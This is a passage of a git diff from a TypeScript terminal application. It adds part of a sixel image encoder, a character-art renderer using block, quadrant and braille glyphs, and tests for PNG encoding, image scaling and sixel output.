(indices[i]! >= 0) used[indices[i]!] = 0; + const definitions: string[] = []; + let numbered = 0; + for (let p = 0; p < palette.length; p += 1) { + if (used[p] !== 0) continue; + used[p] = numbered; + definitions.push(`#${numbered};2;${percent(pr[p]!)};${percent(pg[p]!)};${percent(pb[p]!)}`); + numbered += 1; + } + + const parts: string[] = [`\u001BP0;${transparent ? 1 : 0};0q"1;1;${width};${height}`, definitions.join('')]; + let length = parts[0]!.length + parts[1]!.length + 2; + const masks = new Uint8Array(Math.max(1, numbered) * width); + const present = new Uint8Array(Math.max(1, numbered)); + const bands = Math.ceil(height / 6); + for (let band = 0; band < bands; band += 1) { + const order: number[] = []; + const top = band * 6; + const rows = Math.min(6, height - top); + for (let dy = 0; dy < rows; dy += 1) { + const rowBase = (top + dy) * width; + for (let x = 0; x < width; x += 1) { + const index = indices[rowBase + x]!; + if (index < 0) continue; + const color = used[index]!; + if (!present[color]) { present[color] = 1; order.push(color); } + masks[color * width + x] = masks[color * width + x]! | (1 << dy); + } + } + order.sort((a, b) => a - b); + const pieces: string[] = []; + for (let k = 0; k < order.length; k += 1) { + const color = order[k]!; + const base = color * width; + let last = width - 1; + while (last >= 0 && masks[base + last] === 0) last -= 1; + let text = `#${color}`; + let x = 0; + while (x <= last) { + const value = masks[base + x]!; + let run = 1; + while (x + run <= last && masks[base + x + run] === value) run += 1; + const char = String.fromCharCode(63 + value); + text += run > 3 ? `!${run}${char}` : char.repeat(run); + x += run; + } + masks.fill(0, base, base + width); + present[color] = 0; + pieces.push(text, k < order.length - 1 ? '$' : ''); + } + if (band < bands - 1) pieces.push('-'); + const piece = pieces.join(''); + length += piece.length; + if (length > SIXEL_MAX_BYTES) throw new ImageError('too-large', 'The image is too detailed to send as sixel.'); + parts.push(piece); + } + parts.push('\u001B\\'); + return parts.join(''); +} diff --git a/src/graphics/unicode.ts b/src/graphics/unicode.ts new file mode 100644 index 00000000..4b7203ce --- /dev/null +++ b/src/graphics/unicode.ts @@ -0,0 +1,286 @@ +import {colorEscape} from '../chroma/escape.js'; +import type {ColorLevel} from '../presentation/capabilities.js'; +import {type Raster, type Rgb8} from './raster.js'; +import {assertRaster, fitCells, flatten, scaleBox} from './scale.js'; + +/** + * Character-art rendering: NMSh's fallback for terminals with no graphics protocol. Every returned row is plain text plus + * SGR color sequences, exactly `columns` cells wide, and nothing else is ever emitted. + */ +export type CellMode = 'half' | 'quadrant' | 'braille' | 'ascii'; + +export interface CellOptions { + /** The most columns and rows the art may occupy; the image keeps its aspect ratio inside them (8 x 16 px cells). */ + columns: number; + rows: number; + mode: CellMode; + color: ColorLevel; + /** Printable ASCII only in every mode (glyphs are the ascii ramp). Color escapes still follow `color`. */ + safe: boolean; + /** Transparent pixels are composited over this; without it they stay unpainted so the terminal background shows. */ + background?: Rgb8; +} + +export interface CellArt { + rows: string[]; + /** The width of every row in display cells (the fitted width, never above `options.columns`). */ + columns: number; + /** The number of rows (never above `options.rows`). */ + height: number; +} + +/** The most cells per side; bounds allocation whatever a caller asks for. */ +const MAX_CELLS = 1024; +/** Pixels per cell (across x down) for each mode. */ +const SUBPIXELS: Record = {half: [1, 2], quadrant: [2, 2], braille: [2, 4], ascii: [1, 2]}; +const RAMP = ' .:-=+*#%@'; +const SHADES = [' ', '░', '▒', '▓', '█'] as const; +/** Quadrant glyphs indexed by a mask of lit quarters: bit 0 top-left, 1 top-right, 2 bottom-left, 3 bottom-right. */ +const QUADRANTS = [' ', '▘', '▝', '▀', '▖', '▌', '▞', '▛', '▗', '▚', '▐', '▜', '▄', '▙', '▟', '█'] as const; +/** Braille dot bits for a pixel at (column, row) inside the 2 x 4 cell. */ +const BRAILLE_BITS = [[0x01, 0x02, 0x04, 0x40], [0x08, 0x10, 0x20, 0x80]] as const; +const OPAQUE = 128; +/** Below this luminance spread a colorless cell is a flat shade, not a shape. */ +const FLAT_CONTRAST = 48; + +const KEEP = -2; +const DEFAULT = -1; + +interface Cell { glyph: string; fg: number; bg: number } + +const pack = (r: number, g: number, b: number) => (r << 16) | (g << 8) | b; +const luma = (r: number, g: number, b: number) => (299 * r + 587 * g + 114 * b) / 1000; + +function clampCells(value: number): number { + return Number.isFinite(value) ? Math.min(MAX_CELLS, Math.max(1, Math.floor(value))) : 1; +} + +export function renderCells(raster: Raster, options: CellOptions): CellArt { + assertRaster(raster); + const mode: CellMode = options.safe ? 'ascii' : options.mode; + const fit = fitCells(raster.width, raster.height, clampCells(options.columns), clampCells(options.rows), undefined, true); + const [sx, sy] = SUBPIXELS[mode] ?? SUBPIXELS.half; + let pixels = scaleBox(raster, fit.columns * sx, fit.rows * sy); + if (options.background) pixels = flatten(pixels, options.background); + const data = pixels.data; + const stride = pixels.width * 4; + const styled = options.color !== 'none'; + const cell: Cell = {glyph: ' ', fg: DEFAULT, bg: DEFAULT}; + const escapes = {38: new Map(), 48: new Map()}; + const escape = (layer: 38 | 48, packed: number): string => { + if (options.color === 'truecolor') return `\u001B[${layer};2;${packed >> 16};${(packed >> 8) & 255};${packed & 255}m`; + let cached = escapes[layer].get(packed); + if (cached === undefined) { + cached = colorEscape(layer, {red: packed >> 16, green: (packed >> 8) & 255, blue: packed & 255}, options.color); + escapes[layer].set(packed, cached); + } + return cached; + }; + const paint = styled ? colorCell : shapeCell; + const rows: string[] = []; + for (let row = 0; row < fit.rows; row += 1) { + let line = ''; + let currentFg = ''; + let currentBg = ''; + for (let column = 0; column < fit.columns; column += 1) { + paint(mode, data, row * sy * stride + column * sx * 4, stride, cell); + if (styled) { + const wantFg = cell.fg === KEEP ? currentFg : cell.fg === DEFAULT ? '' : escape(38, cell.fg); + if (wantFg !== currentFg) { line += wantFg || '\u001B[39m'; currentFg = wantFg; } + const wantBg = cell.bg === KEEP ? currentBg : cell.bg === DEFAULT ? '' : escape(48, cell.bg); + if (wantBg !== currentBg) { line += wantBg || '\u001B[49m'; currentBg = wantBg; } + } + line += cell.glyph; + } + if (currentFg || currentBg) line += '\u001B[0m'; + rows.push(line); + } + return {rows, columns: fit.columns, height: fit.rows}; +} + +/** Pixel offsets (from the cell's first byte) of the cell's sub-pixels, row-major, `sx` per row. */ +function offsets(mode: CellMode, stride: number): number[] { + const [sx, sy] = SUBPIXELS[mode]; + const result: number[] = []; + for (let y = 0; y < sy; y += 1) for (let x = 0; x < sx; x += 1) result.push(y * stride + x * 4); + return result; +} +const OFFSET_CACHE = new Map(); +function cellOffsets(mode: CellMode, stride: number): number[] { + const key = `${mode}:${stride}`; + let cached = OFFSET_CACHE.get(key); + if (!cached) { + if (OFFSET_CACHE.size > 64) OFFSET_CACHE.clear(); + cached = offsets(mode, stride); + OFFSET_CACHE.set(key, cached); + } + return cached; +} + +const rampGlyph = (lum: number) => RAMP[Math.max(0, Math.min(RAMP.length - 1, Math.round((lum / 255) * (RAMP.length - 1))))]!; +const shadeGlyph = (lum: number) => SHADES[Math.max(0, Math.min(4, Math.round((lum / 255) * 4)))]!; + +// Scratch space for one cell (at most 8 sub-pixels); the renderer is synchronous so sharing it is safe. +const R = new Int32Array(8); +const G = new Int32Array(8); +const B = new Int32Array(8); +const L = new Float64Array(8); + +/** Color rendering of one cell starting at byte `base`. */ +function colorCell(mode: CellMode, data: Uint8ClampedArray, base: number, stride: number, cell: Cell): void { + const offs = cellOffsets(mode, stride); + const n = offs.length; + let opaqueMask = 0; + for (let i = 0; i < n; i += 1) { + const at = base + offs[i]!; + R[i] = data[at]!; + G[i] = data[at + 1]!; + B[i] = data[at + 2]!; + L[i] = luma(R[i]!, G[i]!, B[i]!); + if (data[at + 3]! >= OPAQUE) opaqueMask |= 1 << i; + } + const full = (1 << n) - 1; + if (opaqueMask === 0) { cell.glyph = ' '; cell.fg = KEEP; cell.bg = DEFAULT; return; } + cell.bg = DEFAULT; + switch (mode) { + case 'ascii': { + let r = 0; let g = 0; let b = 0; let lum = 0; let count = 0; + for (let i = 0; i < n; i += 1) if (opaqueMask & (1 << i)) { r += R[i]!; g += G[i]!; b += B[i]!; lum += L[i]!; count += 1; } + cell.glyph = rampGlyph(lum / count); + // The glyph carries the lightness; the color keeps the hue at full brightness so a dark pixel is not doubly dark. + const top = Math.max(r, g, b); + const scale = top > 0 ? 255 / top : 0; + cell.fg = cell.glyph === ' ' ? KEEP : pack(Math.round(r * scale), Math.round(g * scale), Math.round(b * scale)); + return; + } + case 'half': { + if (opaqueMask === full) { + if (R[0] === R[1] && G[0] === G[1] && B[0] === B[1]) { cell.glyph = '█'; cell.fg = pack(R[0]!, G[0]!, B[0]!); cell.bg = KEEP; return; } + cell.glyph = '▀'; cell.fg = pack(R[0]!, G[0]!, B[0]!); cell.bg = pack(R[1]!, G[1]!, B[1]!); + return; + } + const top = (opaqueMask & 1) !== 0; + const at = top ? 0 : 1; + cell.glyph = top ? '▀' : '▄'; cell.fg = pack(R[at]!, G[at]!, B[at]!); + return; + } + case 'quadrant': { + if (opaqueMask !== full) { setShape(QUADRANTS[opaqueMask]!, opaqueMask, cell); return; } + quadrantFit(cell); + return; + } + case 'braille': { + let mask = opaqueMask; + let unlit = 0; + if (opaqueMask === full) { + let mean = 0; + for (let i = 0; i < 8; i += 1) mean += L[i]!; + mean /= 8; + mask = 0; + for (let i = 0; i < 8; i += 1) if (L[i]! >= mean) mask |= 1 << i; + unlit = full & ~mask; + } + cell.glyph = brailleGlyph(mask); + cell.fg = meanColor(mask); + // Unlit dots show the cell background: their mean color, or (all lit) the same color so the gaps do not show. + if (opaqueMask === full) cell.bg = unlit ? meanColor(unlit) : cell.fg; + return; + } + } +} + +/** A cell whose lit sub-pixels (`mask`) all take the mean color, on the terminal background. */ +function setShape(glyph: string, mask: number, cell: Cell): void { + cell.glyph = mask === 0 ? ' ' : glyph; + cell.fg = mask === 0 ? KEEP : meanColor(mask); + cell.bg = DEFAULT; +} + +function meanColor(mask: number): number { + let r = 0; let g = 0; let b = 0; let count = 0; + for (let i = 0; i < 8; i += 1) if (mask & (1 << i)) { r += R[i]!; g += G[i]!; b += B[i]!; count += 1; } + return count === 0 ? 0 : pack(Math.round(r / count), Math.round(g / count), Math.round(b / count)); +} + +function brailleGlyph(mask: number): string { + let bits = 0; + for (let i = 0; i < 8; i += 1) if (mask & (1 << i)) bits |= BRAILLE_BITS[i & 1]![i >> 1]!; + return String.fromCharCode(0x2800 + bits); +} + +/** + * Best two-color fit of a fully opaque 2 x 2 cell: of the seven ways to split the four pixels in two groups, the one with + * least squared error (equivalently the largest sum of |sum|^2 / n over the groups). The brighter group takes the + * foreground (a tie goes to the group holding the top-left pixel), so a pattern drawn white on black is its own glyph. + */ +function quadrantFit(cell: Cell): void { + if (R[0] === R[1] && R[1] === R[2] && R[2] === R[3] && G[0] === G[1] && G[1] === G[2] && G[2] === G[3] && B[0] === B[1] && B[1] === B[2] && B[2] === B[3]) { + cell.glyph = '█'; cell.fg = pack(R[0]!, G[0]!, B[0]!); cell.bg = KEEP; + return; + } + let best = 1; + let bestScore = -1; + for (let m = 1; m < 8; m += 1) { + let ar = 0; let ag = 0; let ab = 0; let an = 0; let br = 0; let bg = 0; let bb = 0; let bn = 0; + for (let i = 0; i < 4; i += 1) { + if (m & (1 << i)) { ar += R[i]!; ag += G[i]!; ab += B[i]!; an += 1; } else { br += R[i]!; bg += G[i]!; bb += B[i]!; bn += 1; } + } + const score = (ar * ar + ag * ag + ab * ab) / an + (br * br + bg * bg + bb * bb) / bn; + if (score > bestScore) { bestScore = score; best = m; } + } + const other = 15 & ~best; + const lumA = luma(...channels(best)); + const lumB = luma(...channels(other)); + const lit = lumB > lumA ? other : best; + cell.glyph = QUADRANTS[lit]!; + cell.fg = meanColor(lit); + cell.bg = meanColor(15 & ~lit); +} + +function channels(mask: number): [number, number, number] { + let r = 0; let g = 0; let b = 0; let count = 0; + for (let i = 0; i < 4; i += 1) if (mask & (1 << i)) { r += R[i]!; g += G[i]!; b += B[i]!; count += 1; } + return [r / count, g / count, b / count]; +} + +/** Colorless rendering: luminance and shape only, so a lit cell is a block, a shade or a ramp character. */ +function shapeCell(mode: CellMode, data: Uint8ClampedArray, base: number, stride: number, cell: Cell): void { + const offs = cellOffsets(mode, stride); + const n = offs.length; + let mean = 0; + let lo = 255; + let hi = 0; + let opaque = 0; + for (let i = 0; i < n; i += 1) { + const at = base + offs[i]!; + const lit = data[at + 3]! >= OPAQUE; + L[i] = lit ? luma(data[at]!, data[at + 1]!, data[at + 2]!) : 0; + if (lit) opaque += 1; + mean += L[i]!; + if (L[i]! < lo) lo = L[i]!; + if (L[i]! > hi) hi = L[i]!; + } + mean /= n; + cell.fg = DEFAULT; + cell.bg = DEFAULT; + if (opaque === 0) { cell.glyph = ' '; return; } + if (mode === 'ascii') { + let sum = 0; + for (let i = 0; i < n; i += 1) sum += L[i]!; + // Transparent sub-pixels do not darken the ramp: average the painted ones only. + cell.glyph = rampGlyph(sum / opaque); + return; + } + const flat = hi - lo < FLAT_CONTRAST; + if (mode === 'braille') { + let mask = 0; + if (flat) mask = mean >= 128 ? 0xff : 0; + else for (let i = 0; i < 8; i += 1) if (L[i]! >= mean) mask |= 1 << i; + cell.glyph = mask === 0 ? ' ' : brailleGlyph(mask); + return; + } + if (flat) { cell.glyph = shadeGlyph(mean); return; } + let mask = 0; + for (let i = 0; i < n; i += 1) if (L[i]! >= mean) mask |= 1 << i; + cell.glyph = mode === 'half' ? (mask === 1 ? '▀' : '▄') : QUADRANTS[mask]!; +} diff --git a/tests/graphicsEncodePng.test.ts b/tests/graphicsEncodePng.test.ts new file mode 100644 index 00000000..d9ec20da --- /dev/null +++ b/tests/graphicsEncodePng.test.ts @@ -0,0 +1,117 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {inflateSync} from 'node:zlib'; +import {ImageError, type Raster} from '../src/graphics/raster.js'; +import {crc32, encodePng, kittyRgba} from '../src/graphics/pngEncode.js'; + +type Px = [number, number, number, number]; +const make = (width: number, height: number, pixel: (x: number, y: number) => Px): Raster => { + const data = new Uint8ClampedArray(width * height * 4); + for (let y = 0; y < height; y += 1) for (let x = 0; x < width; x += 1) data.set(pixel(x, y), (y * width + x) * 4); + return {width, height, data}; +}; + +/** TEST-ONLY PNG decoder: checks signature and every CRC, then inflates and unfilters (all five filter types). */ +function decodePng(png: Uint8Array): {raster: Raster; filters: Set; chunks: string[]} { + assert.deepEqual([...png.subarray(0, 8)], [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]); + const view = new DataView(png.buffer, png.byteOffset, png.byteLength); + let at = 8; + let width = 0; + let height = 0; + const idat: Uint8Array[] = []; + const chunks: string[] = []; + while (at < png.length) { + const length = view.getUint32(at); + const type = String.fromCharCode(...png.subarray(at + 4, at + 8)); + const body = png.subarray(at + 8, at + 8 + length); + assert.equal(view.getUint32(at + 8 + length), crc32(png.subarray(at + 4, at + 8 + length)), `crc of ${type}`); + chunks.push(type); + if (type === 'IHDR') { + width = view.getUint32(at + 8); + height = view.getUint32(at + 12); + assert.deepEqual([...body.subarray(8)], [8, 6, 0, 0, 0]); + } else if (type === 'IDAT') idat.push(body); + at += 12 + length; + } + assert.equal(at, png.length); + const raw = inflateSync(Buffer.concat(idat)); + const stride = width * 4; + assert.equal(raw.length, height * (stride + 1)); + const out = new Uint8ClampedArray(height * stride); + const filters = new Set(); + for (let y = 0; y < height; y += 1) { + const type = raw[y * (stride + 1)]!; + filters.add(type); + for (let i = 0; i < stride; i += 1) { + const x = raw[y * (stride + 1) + 1 + i]!; + const a = i >= 4 ? out[y * stride + i - 4]! : 0; + const b = y ? out[(y - 1) * stride + i]! : 0; + const c = y && i >= 4 ? out[(y - 1) * stride + i - 4]! : 0; + const p = a + b - c; + const pa = Math.abs(p - a); const pb = Math.abs(p - b); const pc = Math.abs(p - c); + const predictor = [0, a, b, (a + b) >> 1, pa <= pb && pa <= pc ? a : pb <= pc ? b : c][type]; + assert.ok(predictor !== undefined, `filter ${type}`); + out[y * stride + i] = (x + predictor!) & 255; + } + } + return {raster: {width, height, data: out}, filters, chunks}; +} + +const noise = (w: number, h: number, seed = 7) => { + let s = seed; + return make(w, h, () => { s = (Math.imul(s, 1664525) + 1013904223) >>> 0; return [s & 255, (s >> 8) & 255, (s >> 16) & 255, (s >> 24) & 255]; }); +}; + +test('crc32 matches the known check value', () => { + assert.equal(crc32(new TextEncoder().encode('123456789')), 0xcbf43926); +}); + +test('a PNG round-trips pixel-exactly through a test-only decoder, for every forced filter type', () => { + for (const raster of [noise(17, 11), make(9, 9, (x, y) => [x * 28, y * 28, (x + y) * 14, 255]), make(1, 1, () => [1, 2, 3, 4]), make(1, 30, (_x, y) => [y * 8, 0, 0, 255]), make(30, 1, x => [0, x * 8, 0, 128])]) { + for (const filter of [0, 1, 2, 3, 4, 'auto'] as const) { + const {raster: back, filters, chunks} = decodePng(encodePng(raster, {filter})); + assert.deepEqual(chunks, ['IHDR', 'IDAT', 'IEND']); + assert.equal(back.width, raster.width); + assert.equal(back.height, raster.height); + assert.deepEqual([...back.data], [...raster.data], `filter ${filter}`); + if (filter !== 'auto') assert.deepEqual([...filters], [filter]); + } + } +}); + +test('the filter heuristic picks the cheapest filter per row', () => { + const horizontal = decodePng(encodePng(make(32, 4, x => [x * 6, x * 6, x * 6, 255]))); + assert.ok(horizontal.filters.has(1), 'sub for horizontal ramps'); + const vertical = decodePng(encodePng(make(8, 32, x => [(x * 37) & 255, (x * 91) & 255, (x * x * 5) & 255, 255]))); + assert.ok(vertical.filters.has(2), 'up for vertical ramps'); + const diagonal = decodePng(encodePng(make(32, 32, (x, y) => [(x + y) * 4, (x * y) & 255, (x - y) & 255, 255]))); + assert.ok(diagonal.filters.size >= 1); + assert.ok(encodePng(make(64, 64, () => [5, 5, 5, 255])).length < 400, 'a solid image compresses to almost nothing'); +}); + +test('compression levels all decode, and level 0 is larger than level 9', () => { + const src = make(40, 40, (x, y) => [x * 6, y * 6, 0, 255]); + for (const level of [0, 1, 6, 9, -3, 99, NaN]) assert.deepEqual([...decodePng(encodePng(src, {level})).raster.data], [...src.data]); + assert.ok(encodePng(src, {level: 0}).length > encodePng(src, {level: 9}).length); +}); + +test('deterministic output; bad rasters fail with ImageError only', () => { + const src = noise(12, 12); + assert.deepEqual(encodePng(src), encodePng(src)); + assert.throws(() => encodePng({width: 0, height: 1, data: new Uint8ClampedArray(0)}), ImageError); + assert.throws(() => encodePng({width: 3, height: 3, data: new Uint8ClampedArray(7)}), ImageError); + assert.throws(() => encodePng({width: 20000, height: 1, data: new Uint8ClampedArray(4)}), ImageError); +}); + +test('kittyRgba gives raw RGBA, or zlib that inflates back to it', () => { + const src = noise(10, 6); + const raw = kittyRgba(src); + assert.deepEqual({format: raw.format, compressed: raw.compressed}, {format: 'RGBA', compressed: false}); + assert.deepEqual([...raw.payload], [...src.data]); + const packed = kittyRgba(noise(10, 6), {compress: true}); + assert.equal(packed.compressed, true); + assert.deepEqual([...inflateSync(packed.payload)], [...src.data]); + const solid = kittyRgba(make(100, 100, () => [9, 9, 9, 255]), {compress: true}); + assert.ok(solid.payload.length < 200); + assert.throws(() => kittyRgba({width: 2, height: 2, data: new Uint8ClampedArray(3)}), ImageError); +}); diff --git a/tests/graphicsEncodeScale.test.ts b/tests/graphicsEncodeScale.test.ts new file mode 100644 index 00000000..a7d4de70 --- /dev/null +++ b/tests/graphicsEncodeScale.test.ts @@ -0,0 +1,89 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {ImageError, type Raster} from '../src/graphics/raster.js'; +import {fitCells, flatten, scaleBox} from '../src/graphics/scale.js'; + +const make = (width: number, height: number, pixel: (x: number, y: number) => [number, number, number, number]): Raster => { + const data = new Uint8ClampedArray(width * height * 4); + for (let y = 0; y < height; y += 1) for (let x = 0; x < width; x += 1) data.set(pixel(x, y), (y * width + x) * 4); + return {width, height, data}; +}; +const px = (raster: Raster, x: number, y: number) => [...raster.data.subarray((y * raster.width + x) * 4, (y * raster.width + x) * 4 + 4)]; + +test('scaleBox averages a 2x2 block exactly', () => { + const colors: [number, number, number, number][] = [[10, 100, 200, 255], [40, 60, 80, 255], [0, 0, 0, 255], [50, 180, 20, 255]]; + const src = make(2, 2, (x, y) => colors[y * 2 + x]!); + assert.deepEqual(px(scaleBox(src, 1, 1), 0, 0), [25, 85, 75, 255]); +}); + +test('scaleBox is exact for integer ratios and a pure mean', () => { + const src = make(4, 2, x => [x * 10, 0, 255 - x, 255]); + const out = scaleBox(src, 2, 1); + assert.deepEqual(px(out, 0, 0), [5, 0, 255, 255]); + assert.deepEqual(px(out, 1, 0), [25, 0, 253, 255]); +}); + +test('scaleBox weights by alpha: a transparent pixel does not tint', () => { + const src = make(2, 1, x => (x ? [0, 0, 0, 0] : [200, 100, 50, 255])); + assert.deepEqual(px(scaleBox(src, 1, 1), 0, 0), [200, 100, 50, 128]); + const half = make(2, 1, x => (x ? [0, 0, 255, 64] : [255, 0, 0, 192])); + const [r, g, b, a] = px(scaleBox(half, 1, 1), 0, 0); + assert.equal(a, 128); + assert.equal(g, 0); + assert.ok(Math.abs(r! - 255 * 0.75) <= 1 && Math.abs(b! - 255 * 0.25) <= 1); +}); + +test('scaleBox upscales as nearest and never exceeds the target size', () => { + const src = make(2, 2, (x, y) => [x * 255, y * 255, 0, 255]); + const out = scaleBox(src, 4, 4); + assert.equal(out.data.length, 64); + assert.deepEqual(px(out, 0, 0), [0, 0, 0, 255]); + assert.deepEqual(px(out, 1, 1), [0, 0, 0, 255]); + assert.deepEqual(px(out, 2, 3), [255, 255, 0, 255]); + const odd = scaleBox(src, 3, 3); + assert.deepEqual(px(odd, 1, 1), [128, 128, 0, 255]); +}); + +test('scaleBox keeps same-size rasters, extremes and non-integer ratios sane', () => { + const src = make(3, 3, (x, y) => [x * 40, y * 40, 7, 255]); + const same = scaleBox(src, 3, 3); + assert.deepEqual([...same.data], [...src.data]); + assert.notEqual(same.data, src.data); + const strip = make(1, 1000, (_x, y) => [y % 256, 0, 0, 255]); + const small = scaleBox(strip, 1, 7); + assert.equal(small.height, 7); + const wide = make(1000, 1, x => [0, x % 256, 0, 255]); + assert.equal(scaleBox(wide, 9, 1).width, 9); + assert.deepEqual(px(scaleBox(make(1, 1, () => [9, 8, 7, 255]), 5, 3), 4, 2), [9, 8, 7, 255]); +}); + +test('scaleBox refuses bad input with ImageError only', () => { + const ok = make(1, 1, () => [0, 0, 0, 255]); + assert.throws(() => scaleBox(ok, 0, 1), ImageError); + assert.throws(() => scaleBox(ok, 1.5, 1), ImageError); + assert.throws(() => scaleBox(ok, 99999, 1), (error: unknown) => error instanceof ImageError && error.code === 'too-large'); + assert.throws(() => scaleBox({width: 4, height: 4, data: new Uint8ClampedArray(3)}, 1, 1), (error: unknown) => error instanceof ImageError && error.code === 'malformed'); + assert.throws(() => scaleBox({width: NaN, height: 4, data: new Uint8ClampedArray(64)}, 1, 1), ImageError); +}); + +test('flatten composites over a color and makes alpha opaque', () => { + const src = make(3, 1, x => [[255, 0, 0, 255], [255, 0, 0, 0], [255, 0, 0, 128]][x] as [number, number, number, number]); + const out = flatten(src, {red: 0, green: 0, blue: 255}); + assert.deepEqual(px(out, 0, 0), [255, 0, 0, 255]); + assert.deepEqual(px(out, 1, 0), [0, 0, 255, 255]); + assert.deepEqual(px(out, 2, 0), [128, 0, 127, 255]); +}); + +test('fitCells keeps aspect from the real cell size, stays within bounds and never upscales unless asked', () => { + assert.deepEqual(fitCells(800, 400, 100, 50), {columns: 100, rows: 25}); + assert.deepEqual(fitCells(800, 800, 100, 50), {columns: 100, rows: 50}); + assert.deepEqual(fitCells(800, 800, 100, 50, {width: 10, height: 20}), {columns: 80, rows: 40}); + assert.deepEqual(fitCells(800, 800, 100, 50, {width: 10, height: 20}, true), {columns: 100, rows: 50}); + assert.deepEqual(fitCells(80, 160, 100, 50), {columns: 10, rows: 10}); + assert.deepEqual(fitCells(80, 160, 100, 50, undefined, true), {columns: 50, rows: 50}); + assert.deepEqual(fitCells(1, 1, 10, 10), {columns: 1, rows: 1}); + assert.deepEqual(fitCells(10000, 1, 40, 10), {columns: 40, rows: 1}); + assert.deepEqual(fitCells(1, 10000, 40, 10), {columns: 1, rows: 10}); + assert.deepEqual(fitCells(500, 500, 0, NaN), {columns: 1, rows: 1}); + assert.throws(() => fitCells(0, 5, 10, 10), ImageError); +}); diff --git a/tests/graphicsEncodeSixel.test.ts b/tests/graphicsEncodeSixel.test.ts new file mode 100644 index 00000000..b45c263f --- /dev/null +++ b/tests/graphicsEncodeSixel.test.ts @@ -0,0 +1,157 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {ImageError, type Raster} from '../src/graphics/raster.js'; +import {encodeSixel, SIXEL_MAX_PIXELS} from '../src/graphics/sixel.js'; + +type Px = [number, number, number, number]; +const make = (width: number, height: number, pixel: (x: number, y: number) => Px): Raster => { + const data = new Uint8ClampedArray(width * height * 4); + for (let y = 0; y < height; y += 1) for (let x = 0; x < width; x += 1) data.set(pixel(x, y), (y * width + x) * 4); + return {width, height, data}; +}; + +/** TEST-ONLY sixel decoder: enough of DEC STD 070 to read what the encoder writes. Undrawn pixels stay alpha 0. */ +function decodeSixel(stream: string): Raster & {p2: number} { + const head = /^\u001BP(\d+);(\d+);(\d+)q"1;1;(\d+);(\d+)/u.exec(stream); + assert.ok(head, 'header'); + assert.ok(stream.endsWith('\u001B\\'), 'ST terminator'); + const p2 = Number(head[2]); + const width = Number(head[4]); + const height = Number(head[5]); + const data = new Uint8ClampedArray(width * height * 4); + const palette = new Map(); + let color = 0; + let x = 0; + let band = 0; + let i = head[0].length; + const end = stream.length - 2; + const number = () => { let n = ''; while (i < end && /\d/u.test(stream[i]!)) { n += stream[i]; i += 1; } return Number(n); }; + while (i < end) { + const char = stream[i]!; + if (char === '#') { + i += 1; + color = number(); + if (stream[i] === ';') { + i += 1; + assert.equal(number(), 2); + const channels: number[] = []; + for (let k = 0; k < 3; k += 1) { assert.equal(stream[i], ';'); i += 1; channels.push(number()); } + assert.ok(channels.every(v => v >= 0 && v <= 100)); + palette.set(color, channels.map(v => Math.round((v * 255) / 100)) as [number, number, number]); + } else assert.ok(palette.has(color), 'color selected before definition'); + } else if (char === '$') { x = 0; i += 1; } else if (char === '-') { x = 0; band += 1; i += 1; } else { + let run = 1; + if (char === '!') { i += 1; run = number(); assert.ok(run >= 1); } + const code = stream.charCodeAt(i); + assert.ok(code >= 63 && code <= 126, `sixel char ${code}`); + i += 1; + const bits = code - 63; + const rgb = palette.get(color)!; + for (let r = 0; r < run; r += 1, x += 1) { + assert.ok(x < width, 'row overflow'); + for (let b = 0; b < 6; b += 1) { + const y = band * 6 + b; + if (bits & (1 << b) && y < height) data.set([...rgb, 255], (y * width + x) * 4); + } + } + } + } + return {width, height, data, p2}; +} + +const maxError = (a: Raster, b: Raster) => { + let worst = 0; + for (let i = 0; i < a.width * a.height; i += 1) for (let c = 0; c < 3; c += 1) worst = Math.max(worst, Math.abs(a.data[i * 4 + c]! - b.data[i * 4 + c]!)); + return worst; +}; + +test('a stream has the DCS header, raster attributes, palette, bands and ST', () => { + const text = encodeSixel(make(3, 7, x => (x === 1 ? [255, 0, 0, 255] : [0, 0, 255, 255]))); + assert.match(text, /^\u001BP0;0;0q"1;1;3;7#0;2;0;0;100#1;2;100;0;0/u); + assert.equal(text.split('-').length, 2, 'two bands for seven rows'); + assert.ok(text.endsWith('\u001B\\')); + assert.ok(!/[^\u001B\\P0-9;q"#$!\-?-~]/u.test(text)); + // Runs of 4 or more are RLE-compressed. + assert.match(encodeSixel(make(40, 6, () => [255, 255, 255, 255])), /!40~/u); +}); + +test('a two-color image round-trips exactly with maxColors 16', () => { + const src = make(23, 17, (x, y) => ((x * 3 + y) % 5 < 2 ? [255, 255, 255, 255] : [0, 0, 0, 255])); + for (const dither of ['none', 'ordered', 'floyd'] as const) { + const out = decodeSixel(encodeSixel(src, {maxColors: 16, dither})); + assert.deepEqual([...out.data], [...src.data], dither); + } +}); + +test('photo-like images round-trip within a quantization tolerance', () => { + const src = make(48, 30, (x, y) => [(x * 255) / 47, (y * 255) / 29, ((x + y) * 255) / 77, 255]); + const plain = decodeSixel(encodeSixel(src, {maxColors: 256})); + assert.ok(maxError(src, plain) <= 40, `max error ${maxError(src, plain)}`); + assert.ok(maxError(src, decodeSixel(encodeSixel(src, {maxColors: 16}))) <= 120); + for (const dither of ['ordered', 'floyd'] as const) { + const out = decodeSixel(encodeSixel(src, {maxColors: 64, dither})); + // Dithering trades per-pixel error for a faithful local mean. + let diff = 0; + for (let i = 0; i < out.data.length; i += 4) diff += Math.abs(out.data[i]! - src.data[i]!) + Math.abs(out.data[i + 1]! - src.data[i + 1]!) + Math.abs(out.data[i + 2]! - src.data[i + 2]!); + assert.ok(diff / (48 * 30 * 3) < 40, dither); + } +}); + +test('palette size is bounded by maxColors', () => { + const src = make(64, 64, (x, y) => [x * 4, y * 4, (x * y) & 255, 255]); + for (const maxColors of [16, 64, 128, 256] as const) { + const text = encodeSixel(src, {maxColors}); + const defined = text.match(/#\d+;2;/gu)?.length ?? 0; + assert.ok(defined > 0 && defined <= maxColors, `${maxColors}: ${defined}`); + } +}); + +test('transparent pixels are left undrawn with P2=1 and are flattened otherwise', () => { + const src = make(8, 8, x => (x < 4 ? [0, 255, 0, 255] : [255, 0, 0, 100])); + const on = decodeSixel(encodeSixel(src, {transparent: true})); + assert.equal(on.p2, 1); + assert.equal(on.data[3], 255); + assert.equal(on.data[4 * 4 + 3], 0); + const off = decodeSixel(encodeSixel(src)); + assert.equal(off.p2, 0); + // 100 / 255 is 39%, which a terminal draws as 99: the palette is percent-quantized. + assert.deepEqual([...off.data.subarray(16, 20)], [99, 0, 0, 255]); + const all = encodeSixel(make(5, 5, 